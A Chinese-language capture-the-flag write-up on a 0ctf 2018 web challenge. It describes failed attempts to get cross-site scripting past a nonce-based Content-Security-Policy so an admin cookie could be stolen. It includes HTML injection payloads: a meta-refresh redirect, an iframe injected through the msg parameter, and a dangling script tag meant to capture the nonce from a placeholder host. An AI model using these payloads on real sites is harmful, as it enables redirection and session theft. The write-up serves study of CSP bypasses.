1. 程式人生 > >XSS學習整理——0ctf和一隻皮卡丘的死磕

XSS學習整理——0ctf和一隻皮卡丘的死磕

開始前的例行叨叨:

這次記錄的是20180ctf的web題,名字不重要了,我只記得那隻頁面上的皮卡丘。

到比賽結束沒有做出來!!在坐等wp,以後會更新。

一、題目分析

(熟悉題目的大佬就跳過吧)

1、登入介面 /game/index.php

註冊和登入介面都是這一個,賬號名不能特殊符號,驗證碼複製上到Python裡直接跑即可。

不登入,則不能進入主介面,不能看使用者的profile簡介,直接進入會被跳轉:

https://h4x0rs.club/game/?msg=Login+required

此處有漏洞,之後會專門分析。

2、登入後的主介面 /game/index.php

【1】號位置是當前的難度

【2】號位置是退出登入按鈕

【3】號位置進入 /game/profile.php 個人簡介頁面

【4】號位置載入積分榜

【5】號位置是開始遊戲按鈕

【6】號位置是跳轉發twitter按鈕

3、個人簡介頁面 /game/profile

這裡可以設定簡介是公開還是私有,這個頁面可以寫入xss,但不在當前頁面檢視,之後做分析。

4、個人簡介檢視頁面 /game/user.php/xxx


個人簡介必須是public才會被公開,在之前profile.php寫入的test123在這個頁面被顯示了出來。

report按鈕是向管理員提交URL,管理員自動訪問後XSS管理員的cookie。

report會提示缺少驗證碼,這是由於人機驗證用了谷歌api,在牆內無法獲取,我用牆外VPS提交的URL。

提交成功則顯示:

意思是我們會看的,但是注意我們不會在這個上面做任何互動。也就是不能指望自動點一些彈框之類的,必須點開url就能自動xss出cookie。


5、遊戲頁面 /game/index.php

點選了箭頭開始遊戲,一開始還不知道遊戲怎麼玩,後來發現是輸入英文名,等幾秒就自動提交了。

還發現個api能直接給自己升級,但最高升三級就無效了。

升級讓自己上排行榜貌似並沒有什麼作用,只能讓別人知道你的使用者名稱,看看個人簡介而已。

https://h4x0rs.club/game/login.php?action=upgrade&level=1



二、插入點分析

1、使用者簡介介面插入 /game/user.php/xxxx(使用者名稱)

在/game/profile.php中,寫自己的簡介,發現完全無過濾,任何字元隨便寫,但就是執行不了。

因為響應包頭做了CSP策略,CSP(Content-Security-Policy)在響應頭中規定各種資源允許載入的白名單。

Content-Security-Policy: xxxxxxxx

(另一種使用CSP策略的方式是用<meta>標籤規定)如:

<meta http-equiv="Content-Security-Policy" content="xxxxx">

【關於CSP的科普】http://www.freebuf.com/articles/web/116836.html



不同頁面的策略不一樣。

/game/user.php/xxx的策略是:

Content-Security-Policy: default-src 'none'; img-src * data: ; script-src 'nonce-3b557d1eaccef48760cee52f401cb230'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;

/game/profile.php的策略是:(和user.php一樣)

Content-Security-Policy: default-src 'none'; img-src * data: ; script-src 'nonce-bc11c2aa8c475cc1bdf28754732f2758'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;

/game/index.php的策略是:

Content-Security-Policy: script-src 'nonce-fcf927044c61bb175883475a20cf2393' 'strict-dynamic';

/game/login.php 和 /game/do_report.php 無CSP策略。

這兩個頁面功能類似API,返回的是json資料,login.php進行使用者註冊、登入、退出、升級;do_report僅向管理員報告連結。

沒有可以造成插入回顯的功能,所以沒有做安全限制。

分析策略:default-src 'none'; img-src * data: ; script-src 'nonce-3b557d1eaccef48760cee52f401cb230'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;

此策略下,img標籤的src可以get請求任意地址;要執行javascript的標籤必須帶有特定nonce值,每次請求nonce值會變,且隨機。'unsafe-inline'允許內聯js執行,但實際還是受到nonce值限制,執行不了;還規定了frame僅允許向谷歌驗證碼地址載入。

插入的<script>因沒有正確的nonce值,無法被執行,瀏覽器後臺可以看到錯誤日誌。


所以在此策略下,僅能插入HTML,進行HTML注入,經測試,注入<meta>標籤可以成功跳轉,但對題目意義不大。

可以跳轉的payload:

</p><meta http-equiv="refresh" content="1;url=https://xxxx.com/xxx.html"><p>

前後的p標籤為了閉合。

關於失敗的繞過js限制嘗試:

參考資料

【1 普通姿勢】https://www.jianshu.com/p/f1de775bc43e

【2 同源挖掘】http://www.freebuf.com/news/139672.html

【3 html注入】https://blog.csdn.net/wizardforcel/article/details/62888876

嘗試繞過姿勢1:

我們的插入點下方的<script>帶了nonce值

考慮插入類似這樣的payload:

<script src=http://xxx.com/x.js a="

理想狀態是構造成類似:

<script src=http://xxx.com/x.js a="
<scirpt  id="
s1" nonce="abcdef">
.......

</script>

橙色部分成了字串,nonce被引入到了新插入<script 標籤中,相當於用新標籤吃掉了舊標籤,留下了nonce保證執行。

但是,在本題中失敗了。orz

因為題目中插入點距離帶nonce的<script>標籤太遠,中間隔了非常多其他標籤,有單引號,也有雙引號,無法閉合。

使用姿勢雙引號+單引號   "'    也失敗了,有時候閉合不到nonce值,有時候用力過猛,nonce也成了字串。

關於閉合姿勢,參考大佬文章:

https://labs.detectify.com/2016/04/04/csp-bypassing-form-action-with-reflected-xss/

嘗試繞過姿勢2:可信域內找寫入點

【參考1】http://www.freebuf.com/news/139672.html

【參考2】https://www.anquanke.com/post/id/86010

根據這篇文章,當SCP限制JS只能執行本站內指令碼時,嘗試在本站內尋找可以臨時寫入的位置。

假如要讓www.a.com/1.html執行指令碼。

在全站和子域中挖掘,是否有www.b.a.com/xxx/show.php?show=<script>xxxx</script>

全站和子域內若能顯示自己輸入的地方,就相當於把show.php作為了自己的js指令碼,把這個地址作為<script>的src即可。

載入的目標在同站或子域。

遺憾的是,本題的js限制策略並非只能載入本站,而是用了隨機數nonce方式,這種姿勢不適用orz。

嘗試繞過姿勢3:關於DOM XSS

【推薦】https://paper.seebug.org/166/

(姿勢有點高深,實在不懂CSS挨個取字元的方法)

【挖掘】http://www.freebuf.com/articles/web/29177.html

(利用#)

本題中嘗試了主頁和個人簡介頁#abc發現並沒有內容回顯在原始碼裡,也失敗了orz。

嘗試繞過姿勢4:利用瀏覽器快取進行DOM XSS載入iframe獲取nonce

【演示】http://www.freebuf.com/articles/web/133455.html

這份資料非常詳細,姿勢很騷,表述也很清晰

但是本題中所有php頁面,響應頭設定了全不快取!失敗orz,而且iframe只能獲取同域cookie。

這種攻擊方式適用於有快取,#後邊的payload能回顯出來

不過這份資料中值得學習的是,用iframe載入頁面,注入<textarea>標籤幹掉很多無用標籤的干擾。

其實,個人資訊寫入頁面/game/profile.php 也是可以插入HTML的,情況和/user.php/xxx一致,但提示

<!-- notice: this function is disabled on admin account for security reason -->

大概是被禁用了,暫不考慮從此頁面進行DOM攻擊,因為和user.php/xxx策略一致,程式碼類似,插入點和帶nonce的<script>標籤頁相隔很遠。

2、登入後主介面插入 /game/index.php?msg=xxx

看看它的CSP策略:

Content-Security-Policy: script-src 'nonce-fcf927044c61bb175883475a20cf2393' 'strict-dynamic';

開心的發現,僅限制js,不限制iframe

可用姿勢:

/game/index.php?msg=Please%20loginn</h1><iframe%20src="/game/user.php/XDTEST10"><h1>

效果:自動載入iframe,可以載入使用者資訊頁面,同時會自動載入這個頁面所需的所有檔案。


所以,現在我們有了兩個插入點。

主頁可以插入iframe載入任意位置;

個人資訊頁面可以插入<meta>標籤造成任意跳轉。

但是!都不能執行js。

根據提示

Hint: Get open-redirect first, lead admin to the w0rld!

計劃讓admin點選後,通過位於主頁的插入點2插入iframe請求自己的伺服器上的html執行js,也就是所謂lead to the world 

然後計劃在自己伺服器的上,用js用動態新開iframe載入沒有限制的頁面,如do_report.php,獲取cookie

但是,關鍵問題:

從伺服器域用js開的iframe雖然可以跨域載入遊戲頁面,但不能跨域操作cookie。

iframe.contentDocument是不可操作的。

所以思路中斷了,可以做到從源站跳出去執行js,用js再跳回來,但仍然取不到cookie。

document.domain="h4x0rs.club"

是不行的,需要在頭中設定共享兩個域,才能完成跨域操作,欄位:

Access-Control-Allow-Origin

關於X-Frame-Options

未完待續。。。

Content-Security-Policy: script-src 'nonce-fcf927044c61bb175883475a20cf2393' 'strict-dynamic';